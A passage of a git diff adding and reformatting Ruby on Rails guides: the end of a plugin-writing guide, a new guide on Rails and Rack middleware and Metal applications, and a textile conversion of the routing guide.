+ assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file
+ assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file)
+ end
+
+ def test_pluralizes_properly
+ ActiveRecord::Base.pluralize_table_names = false
+ Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"],
+ :destination => fake_rails_root)
+ new_file = (file_list - @original_files).first
+ assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file
+ assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file)
+ end
+
+ private
+ def fake_rails_root
+ File.join(File.dirname(__FILE__), 'rails_root')
+ end
+
+ def file_list
+ Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
+ end
+
+end
+</ruby>
+
+NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.
+
+After running the test with 'rake' you can make it pass with:
+
+* *vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb*
+
+<ruby>
+class YaffleMigrationGenerator < Rails::Generator::NamedBase
+ def manifest
+ record do |m|
+ m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
+ :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
+ }
+ end
+ end
+
+ private
+ def custom_file_name
+ custom_name = class_name.underscore.downcase
+ custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+ custom_name
+ end
+
+ def yaffle_local_assigns
+ returning(assigns = {}) do
+ assigns[:migration_action] = "add"
+ assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
+ assigns[:table_name] = custom_file_name
+ assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
+ end
+ end
+end
+</ruby>
+
+The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails +migration_template+ method, and reuses the built-in rails migration template.
+
+It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
+
+To run the generator, type the following at the command line:
+
+<shell>
+./script/generate yaffle_migration bird
+</shell>
+
+and you will see a new file:
+
+* *db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
+
+<ruby>
+class AddYaffleFieldsToBirds < ActiveRecord::Migration
+ def self.up
+ add_column :birds, :last_squawk, :string
+ end
+
+ def self.down
+ remove_column :birds, :last_squawk
+ end
+end
+</ruby>
+
+h3. Rake tasks
+
+When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'. Any rake task you add here will be available to the app.
+
+Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
+
+* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake*
+
+<ruby>
+namespace :yaffle do
+ desc "Prints out the word 'Yaffle'"
+ task :squawk => :environment do
+ puts "squawk!"
+ end
+end
+</ruby>
+
+When you run +rake -T+ from your plugin you will see:
+
+<shell>
+yaffle:squawk # Prints out the word 'Yaffle'
+</shell>
+
+You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
+
+Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app.
+
+h3. PluginGems
+
+Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem.
+
+Historically rails plugins loaded the plugin's 'init.rb' file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'.
+
+It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'. A rake task that packages the gem might look like this:
+
+* *vendor/plugins/yaffle/Rakefile:*
+
+<ruby>
+PKG_FILES = FileList[
+ '[a-zA-Z]*',
+ 'generators/**/*',
+ 'lib/**/*',
+ 'rails/**/*',
+ 'tasks/**/*',
+ 'test/**/*'
+]
+
+spec = Gem::Specification.new do |s|
+ s.name = "yaffle"
+ s.version = "0.0.1"
+ s.author = "Gleeful Yaffler"
+ s.email = "yaffle@example.com"
+ s.homepage = "http://yafflers.example.com/"
+ s.platform = Gem::Platform::RUBY
+ s.summary = "Sharing Yaffle Goodness"
+ s.files = PKG_FILES.to_a
+ s.require_path = "lib"
+ s.has_rdoc = false
+ s.extra_rdoc_files = ["README"]
+end
+
+desc 'Turn this plugin into a gem.'
+Rake::GemPackageTask.new(spec) do |pkg|
+ pkg.gem_spec = spec
+end
+</ruby>
+
+To build and install the gem locally, run the following commands:
+
+<shell>
+cd vendor/plugins/yaffle
+rake gem
+sudo gem install pkg/yaffle-0.0.1.gem
+</shell>
+
+To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you.
+
+h3. RDoc Documentation
+
+Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warning, gotchas or tips that might help save users time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+<shell>
+rake rdoc
+</shell>
+
+h3. Appendix
+
+If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
+
+h4. References
+
+* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
+* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii
+* http://github.com/technoweenie/attachment_fu/tree/master
+* http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
+* http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
+* http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
+
+h4. Contents of +lib/yaffle.rb+
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+require "yaffle/core_ext"
+require "yaffle/acts_as_yaffle"
+require "yaffle/commands"
+require "yaffle/routing"
+
+%w{ models controllers helpers }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+# optionally:
+# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
+# require file
+# end
+</ruby>
+
+h4. Final Plugin Directory Structure
+
+The final plugin should have a directory structure that looks something like this:
+
+<shell>
+|-- MIT-LICENSE
+|-- README
+|-- Rakefile
+|-- generators
+| |-- yaffle_definition
+| | |-- USAGE
+| | |-- templates
+| | | `-- definition.txt
+| | `-- yaffle_definition_generator.rb
+| |-- yaffle_migration
+| | |-- USAGE
+| | |-- templates
+| | `-- yaffle_migration_generator.rb
+| `-- yaffle_route
+| |-- USAGE
+| |-- templates
+| `-- yaffle_route_generator.rb
+|-- install.rb
+|-- lib
+| |-- app
+| | |-- controllers
+| | | `-- woodpeckers_controller.rb
+| | |-- helpers
+| | | `-- woodpeckers_helper.rb
+| | `-- models
+| | `-- woodpecker.rb
+| |-- db
+| | `-- migrate
+| | `-- 20081116181115_create_birdhouses.rb
+| |-- yaffle
+| | |-- acts_as_yaffle.rb
+| | |-- commands.rb
+| | |-- core_ext.rb
+| | `-- routing.rb
+| `-- yaffle.rb
+|-- pkg
+| `-- yaffle-0.0.1.gem
+|-- rails
+| `-- init.rb
+|-- tasks
+| `-- yaffle_tasks.rake
+|-- test
+| |-- acts_as_yaffle_test.rb
+| |-- core_ext_test.rb
+| |-- database.yml
+| |-- debug.log
+| |-- definition_generator_test.rb
+| |-- migration_generator_test.rb
+| |-- route_generator_test.rb
+| |-- routes_test.rb
+| |-- schema.rb
+| |-- test_helper.rb
+| |-- woodpecker_test.rb
+| |-- woodpeckers_controller_test.rb
+| |-- wookpeckers_helper_test.rb
+| |-- yaffle_plugin.sqlite3.db
+| `-- yaffle_test.rb
+`-- uninstall.rb
+</shell>
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/32-update-plugins-guide
+
+* November 17, 2008: Major revision by Jeff Dean
diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile
new file mode 100644
index 0000000000..05581f943f
--- /dev/null
+++ b/railties/guides/source/rails_on_rack.textile
@@ -0,0 +1,309 @@
+h2. Rails on Rack
+
+This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
+
+* Create Rails Metal applications
+* Use Rack Middlewares in your Rails applications
+* Understand Action Pack's internal Middleware stack
+* Define a custom Middleware stack
+
+endprologue.
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+.
+
+h3. Introduction to Rack
+
+bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- "Rack API Documentation":http://rack.rubyforge.org/doc/
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links:
+
+* "Official Rack Website":http://rack.github.com
+* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
+* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1
+* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder
+
+h3. Rails on Rack
+
+h4. Rails Application's Rack Object
+
+<tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.</p>
+
+h4. +script/server+
+
+<tt>script/server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script.
+
+Here's how +script/server+ creates an instance of +Rack::Builder+
+
+<ruby>
+app = Rack::Builder.new {
+ use Rails::Rack::LogTailer unless options[:detach]
+ use Rails::Rack::Debugger if options[:debugger]
+
+ map "/" do
+ use Rails::Rack::Static
+ run ActionController::Dispatcher.new
+ end
+}.to_app
+</ruby>
+
+Middlewares used in the code above are primarily useful only in the development envrionment. The following table explains their usage:
+
+|_.Middleware|_.Purpose|
+|+Rails::Rack::LogTailer+|Appends log file output to console|
+|+Rails::Rack::Static+|Serves static files inside +RAILS_ROOT/public+ directory|
+|+Rails::Rack::Debugger+|Starts Debugger|
+
+h4. +rackup+
+
+To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory:
+
+<ruby>
+# RAILS_ROOT/config.ru
+require "config/environment"
+
+use Rails::Rack::LogTailer
+use Rails::Rack::Static
+run ActionController::Dispatcher.new
+</ruby>
+
+And start the server:
+
+<shell>
+[lifo@null application]$ rackup
+</shell>
+
+To find out more about different +rackup+ options:
+
+<shell>
+[lifo@null application]$ rackup --help
+</shell>
+
+h3. Action Controller Middleware Stack
+
+Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
+
+h4. Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+<shell>
+$ rake middleware
+</shell>
+
+For a freshly generated Rails application, this might produce something like:
+
+<ruby>
+use Rack::Lock
+use ActionController::Failsafe
+use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"}
+use Rails::Rack::Metal
+use ActionController::RewindableInput
+use ActionController::ParamsParser
+use Rack::MethodOverride
+use Rack::Head
+use ActiveRecord::QueryCache
+run ActionController::Dispatcher.new
+</ruby>
+
+Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
+
+h4. Configuring Middleware Stack
+
+Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
+
+h5. Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack.
+
+* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+<strong>Example:</strong>
+
+<ruby>
+# config/environment.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { :page_cache => false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
+</ruby>
+
+h5. Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
+
+<strong>Example:</strong>
+
+<ruby>
+# config/environment.rb
+
+# Replace ActionController::Failsafe with Lifo::Failsafe
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+</ruby>
+
+h5. Middleware Stack is an Array
+
+The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.
+
+For example, the following removes the middleware matching the supplied class name:
+
+<ruby>
+config.middleware.delete(middleware)
+</ruby>
+
+h4. Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them:
+
+|_.Middleware|_.Purpose|
+|+Rack::Lock+|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.|
+|+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.|
+|+ActiveRecord::QueryCache+|Enable the Active Record query cache.|
+|+ActionController::Session::CookieStore+|Uses the cookie based session store.|
+|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.|
+|+ActiveRecord::SessionStore+|Uses the database based session store.|
+|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.|
+|+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.|
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+h4. Customizing Internal Middleware Stack
+
+It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+.
+
+<strong>Example:</strong>
+
+Put the following in an initializer:
+
+<ruby>
+# config/initializers/stack.rb
+ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
+ m.use ActionController::Failsafe
+ m.use ActiveRecord::QueryCache
+ m.use Rack::Head
+end
+</ruby>
+
+And now inspecting the middleware stack:
+
+<shell>
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionController::Failsafe
+use ActiveRecord::QueryCache
+use Rack::Head
+run ActionController::Dispatcher.new
+</shell>
+
+h4. Using Rack Builder
+
+The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
+
+<strong>Clear the existing Rails middleware stack</strong>
+
+<ruby>
+# environment.rb
+config.middleware.clear
+</ruby>
+
+<br />
+<strong>Add a +config.ru+ file to +RAILS_ROOT+</strong>
+
+<ruby>
+# config.ru
+use MyOwnStackFromStratch
+run ActionController::Dispatcher.new
+</ruby>
+
+h3. Rails Metal Applications
+
+Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.
+
+Ryan Bates' "railscast on Rails Metal":http://railscasts.com/episodes/150-rails-metal provides a nice walkthrough generating and using Rails Metal.
+
+h4. Generating a Metal Application
+
+Rails provides a generator called +metal+ for creating a new Metal application:
+
+<shell>
+$ script/generate metal poller
+</shell>
+
+This generates +poller.rb+ in the +app/metal+ directory:
+
+<ruby>
+# Allow the metal piece to run in isolation
+require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
+
+class Poller
+ def self.call(env)
+ if env["PATH_INFO"] =~ /^\/poller/
+ [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
+ else
+ [404, {"Content-Type" => "text/html"}, ["Not Found"]]
+ end
+ end
+end
+</ruby>
+
+Metal applications within +app/metal+ folders in plugins will also be discovered and added to the list.
+
+Metal applications are an optimization. You should make sure to "understand the related performance implications":http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal before using it.
+
+h4. Execution Order
+
+All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain.
+
+Here's the primary method responsible for running the Metal applications:
+
+<ruby>
+def call(env)
+ @metals.keys.each do |app|
+ result = app.call(env)
+ return result unless result[0].to_i == 404
+ end
+ @app.call(env)
+end
+</ruby>
+
+In the code above, +@metals+ is an ordered hash of metal applications. Due to the default alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain.
+
+It is, however, possible to override the default ordering in your environment. Simply add a line like the following to +config/environment.rb+
+
+<ruby>
+config.metals = ["Bbb", "Aaa"]
+</ruby>
+
+Each string in the array should be the name of your metal class. If you do this then be warned that any metal applications not listed will not be loaded.
+
+WARNING: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement.
+
+h3. Resources
+
+h4. Learning Rack
+
+* "Official Rack Website":http://rack.github.com
+* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
+* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1
+* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder
+
+h4. Understanding Middlewares
+
+* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58
+
+* February 7, 2009: Second version by "Pratik":credits.html#lifo
+* January 11, 2009: First version by "Pratik":credits.html#lifo
diff --git a/railties/doc/guides/source/routing_outside_in.txt b/railties/guides/source/routing.textile
index a182948bb9..e9adb4b308 100644
--- a/railties/doc/guides/source/routing_outside_in.txt
+++ b/railties/guides/source/routing.textile
@@ -1,5 +1,4 @@
-Rails Routing from the Outside In
-=================================
+h2. Rails Routing from the Outside In
This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
@@ -8,39 +7,43 @@ This guide covers the user-facing features of Rails routing. By referring to thi
* Construct your own routes, using either the classic hash style or the now-preferred RESTful style
* Identify how a route will map to a controller and action
-== The Dual Purpose of Routing
+endprologue.
+
+h3. The Dual Purpose of Routing
Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.
-=== Connecting URLs to Code
+h4. Connecting URLs to Code
When your Rails application receives an incoming HTTP request, say
--------------------------------------------------------
+<pre>
GET /patients/17
--------------------------------------------------------
+</pre>
the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the +show+ action within the +patients+ controller, displaying the details of the patient whose ID is 17.
-
-=== Generating URLs from Code
+
+h4. Generating URLs from Code
Routing also works in reverse. If your application contains this code:
-[source, ruby]
--------------------------------------------------------
+<ruby>
@patient = Patient.find(17)
+</ruby>
+
+<erb>
<%= link_to "Patient Record", patient_path(@patient) %>
--------------------------------------------------------
+</erb>
Then the routing engine is the piece that translates that to a link to a URL such as +http://example.com/patients/17+. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.
NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available.
-== Quick Tour of Routes.rb
+h3. Quick Tour of +routes.rb+
There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview.
-=== Processing the File
+h4. Processing the File
In format, +routes.rb+ is nothing more than one big block sent to +ActionController::Routing::Routes.draw+. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:
@@ -54,101 +57,94 @@ Each of these types of route is covered in more detail later in this guide.
The +routes.rb+ file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.
-=== RESTful Routes
+h4. RESTful Routes
RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :books
--------------------------------------------------------
+</ruby>
-=== Named Routes
+h4. Named Routes
Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.login '/login', :controller => 'sessions', :action => 'new'
--------------------------------------------------------
+</ruby>
-=== Nested Routes
+h4. Nested Routes
Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :assemblies do |assemblies|
assemblies.resources :parts
end
--------------------------------------------------------
+</ruby>
-=== Regular Routes
+h4. Regular Routes
In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect 'parts/:number', :controller => 'inventory', :action => 'show'
--------------------------------------------------------
+</ruby>
-=== Default Routes
+h4. Default Routes
The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.connect ':controller/:action/:id'
map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!
-== RESTful Routing: the Rails Default
+h3. RESTful Routing: the Rails Default
RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.
-=== What is REST?
+h4. What is REST?
-The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components.
+* Transferring representations of the state of that resource between system components.
For example, to a Rails application a request such as this:
-+DELETE /photos/17+
+<pre>
+DELETE /photos/17
+</pre>
would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
-
-=== CRUD, Verbs, and Actions
+
+h4. CRUD, Verbs, and Actions
In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos
--------------------------------------------------------
+</ruby>
creates seven different routes in your application:
-[options="header"]
-|==========================================================================================================
-|HTTP verb |URL |controller |action |used for
-|GET |/photos |Photos |index |display a list of all photos
-|GET |/photos/new |Photos |new |return an HTML form for creating a new photo
-|POST |/photos |Photos |create |create a new photo
-|GET |/photos/1 |Photos |show |display a specific photo
-|GET |/photos/1/edit |Photos |edit |return an HTML form for editing a photo
-|PUT |/photos/1 |Photos |update |update a specific photo
-|DELETE |/photos/1 |Photos |destroy |delete a specific photo
-|==========================================================================================================
+|_.HTTP verb|_.URL |_.controller|_.action |_.used for|
+|GET |/photos |Photos |index |display a list of all photos|
+|GET |/photos/new |Photos |new |return an HTML form for creating a new photo|
+|POST |/photos |Photos |create |create a new photo|
+|GET |/photos/1 |Photos |show |display a specific photo|
+|GET |/photos/1/edit |Photos |edit |return an HTML form for editing a photo|
+|PUT |/photos/1 |Photos |update |update a specific photo|
+|DELETE |/photos/1 |Photos |destroy |delete a specific photo|
For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+.
TIP: If you consistently use RESTful routes in your application, you should disable the default routes in +routes.rb+ so that Rails will enforce the mapping between HTTP verbs and routes.
-=== URLs and Paths
+h4. URLs and Paths
Creating a RESTful route will also make available a pile of helpers within your application:
@@ -161,51 +157,44 @@ NOTE: Because routing makes use of the HTTP verb as well as the path in the requ
In each case, the +_url+ helper generates a string containing the entire URL that the application will understand, while the +_path+ helper generates a string containing the relative path from the root of the application. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
photos_url # => "http://www.example.com/photos"
photos_path # => "/photos"
--------------------------------------------------------
+</ruby>
-=== Defining Multiple Resources at the Same Time
+h4. Defining Multiple Resources at the Same Time
If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to +map.resources+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :books, :videos
--------------------------------------------------------
+</ruby>
-This has exactly the same effect as
+This has exactly the same effect as
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos
map.resources :books
map.resources :videos
--------------------------------------------------------
+</ruby>
-=== Singular Resources
+h4. Singular Resources
You can also apply RESTful routing to singleton resources within your application. In this case, you use +map.resource+ instead of +map.resources+ and the route generation is slightly different. For example, a routing entry of
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resource :geocoder
--------------------------------------------------------
+</ruby>
creates six different routes in your application:
-[options="header"]
-|==========================================================================================================
-|HTTP verb |URL |controller |action |used for
-|GET |/geocoder/new |Geocoders |new |return an HTML form for creating the new geocoder
-|POST |/geocoder |Geocoders |create |create the new geocoder
-|GET |/geocoder |Geocoders |show |display the one and only geocoder resource
-|GET |/geocoder/edit |Geocoders |edit |return an HTML form for editing the geocoder
-|PUT |/geocoder |Geocoders |update |update the one and only geocoder resource
-|DELETE |/geocoder |Geocoders |destroy |delete the geocoder resource
-|==========================================================================================================
+|_.HTTP verb|_.URL |_.controller|_.action |_.used for|
+|GET |/geocoder/new |Geocoders |new |return an HTML form for creating the new geocoder|
+|POST |/geocoder |Geocoders |create |create the new geocoder|
+|GET |/geocoder |Geocoders |show |display the one and only geocoder resource|
+|GET |/geocoder/edit |Geocoders |edit |return an HTML form for editing the geocoder|
+|PUT |/geocoder |Geocoders |update |update the one and only geocoder resource|
+|DELETE |/geocoder |Geocoders |destroy |delete the geocoder resource|
NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural.
@@ -215,7 +204,7 @@ A singular RESTful route generates an abbreviated set of helpers:
* +edit_geocoder_url+ and +edit_geocoder_path+ map to the path for the edit action
* +geocoder_url+ and +geocoder_path+ map to the path for the create, show, update, and destroy actions
-=== Customizing Resources
+h4. Customizing Resources
Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:
@@ -232,202 +221,184 @@ Although the conventions of RESTful routing are likely to be sufficient for many
You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide.
-==== Using :controller
+h5. Using +:controller+
The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:
-[source, ruby]
--------------------------------------------------------
+<ruby>
map.resources :photos, :controller => "images"
--------------------------------------------------------
-
-will recognize incoming URLs containing +photo+ but route the requests to the Images controller:
-
-[options="header"]
-|==========================================================================================================
-|HTTP verb |URL |controller |action |used for
-|GET |/photos |Images |index |display a list of all images
-|GET |/photos/new |Images |new |return an HTML form for creating a new image
-|POST |/photos |Images |create |create a new image
-|GET |/photos/1 |Images |show |display a specific image
-|GET |/photos/1/edit |Images |edit |return an HTML form for editing a image
-|PUT |/photos/1 |Images |update |update a specific image
-|DELETE |/photos/1 |Images |destroy |delete a specific image
-|==========================================================================================================
+</ruby>
+
+will recognize incoming URLs containing +photo+ but route the requests to the Images controller:
+
+|_.HTTP verb|_.URL |_.controller|_.action |_.used for|
+|GET |/photos |Images |index |display a list of all images|
+|GET |/photos/new |Images |new |return an HTML form for creating a new image|
+|POST |/photos |Images |create |create a new image|
+|GET |/photos/1 |Images |show |display a specific image|
+|GET |/photos/1/edit |Images |edit |return an HTML form for editing a image|
+|PUT |/photos/1 |Images |update |update a specific image|
+|DELETE |/photos/1 |Images |destroy |delete a specific image|
NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
-=== Controller Namespaces and Routing ===
+h4. Controller Namespaces and Routing
